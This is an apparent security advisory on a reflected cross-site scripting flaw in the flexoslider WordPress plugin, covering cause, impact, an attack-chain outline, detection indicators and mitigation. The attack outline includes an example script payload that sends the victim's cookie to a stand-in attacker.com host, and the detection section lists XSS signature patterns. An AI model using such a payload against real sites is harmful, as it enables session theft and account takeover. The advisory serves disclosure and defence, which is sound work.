CVE-2025-52764: 
WordPress vulnerability analysis and mitigation

CVE-2025-52764 is a Reflected Cross-Site Scripting (XSS) vulnerability in the flexoslider WordPress plugin by marielav. It affects all versions up to and including 1.0004, with no official patch currently available. The vulnerability was reported on May 15, 2025, by researcher Chu The Anh (Blue Rock) and published by Patchstack on June 14, 2025. It carries a CVSS v3.1 base score of 6.1 (Medium) per NVD, though Patchstack rates it 7.1 (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a Reflected XSS variant. The root cause is insufficient sanitization or escaping of user-supplied input that is reflected back in the plugin's web page output. An unauthenticated attacker can craft a malicious URL containing a JavaScript payload; when a privileged or authenticated user clicks the link, the script executes in their browser session within the context of the WordPress site. No authentication is required to craft the exploit, but user interaction (e.g., clicking a malicious link) is necessary for successful exploitation (Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser within the scope of the affected WordPress site. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim (such as admin-level changes if the victim is an administrator), and injection of malicious redirects or advertisements. Confidentiality and integrity are both at low-to-moderate risk; availability is not directly impacted (Patchstack, Red Hat CVE).

No evidence of active in-the-wild exploitation has been reported at this time. The EPSS score is approximately 0.029% (0.000290), indicating a low current probability of exploitation. No exploit kits or threat actor attribution are known. However, Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity (Patchstack). The CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Reconnaissance: Identify WordPress sites running the flexoslider plugin (version ≤ 1.0004) using tools like WPScan, Shodan, or Google dorks targeting plugin-specific file paths.
2. Craft malicious URL: Construct a URL targeting the vulnerable parameter in the flexoslider plugin that reflects unsanitized input, embedding a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
3. Deliver the link: Send the crafted URL to a target user (e.g., a WordPress administrator) via phishing email, social engineering, or by embedding it in a comment or forum post.
4. Trigger execution: When the victim clicks the link and loads the page, the reflected payload executes in their browser, allowing the attacker to steal session cookies, perform actions as the victim, or redirect the user to a malicious site (Patchstack).

• Network: HTTP requests to WordPress pages with flexoslider plugin parameters containing encoded JavaScript (e.g., <script>, %3Cscript%3E, javascript:, onerror=, onload=) in query strings.
• Logs: WordPress or web server access logs showing GET requests with suspicious URL-encoded payloads in parameters associated with the flexoslider plugin endpoint.
• Browser/Client: Unexpected redirects or pop-ups on pages using the flexoslider plugin; reports from users of session hijacking or unauthorized account actions after visiting a link.

As of the publication date, no official patch is available for the flexoslider plugin (versions ≤ 1.0004). Site administrators are advised to deactivate and remove the plugin until a patched version is released. Patchstack has issued a virtual patching/mitigation rule for subscribers to block exploit attempts automatically. Additionally, implementing a Web Application Firewall (WAF) with XSS filtering rules can reduce exposure. Monitor the WordPress plugin repository and the developer's page for an updated release (Patchstack).

The vulnerability was discovered and responsibly disclosed by researcher Chu The Anh (Blue Rock) through Patchstack's Vulnerability Disclosure Program (VDP). Patchstack classified it as medium priority and noted the risk of mass-exploit campaigns targeting WordPress plugins of this type. No significant broader media coverage or notable social media commentary has been identified beyond the Patchstack advisory (Patchstack).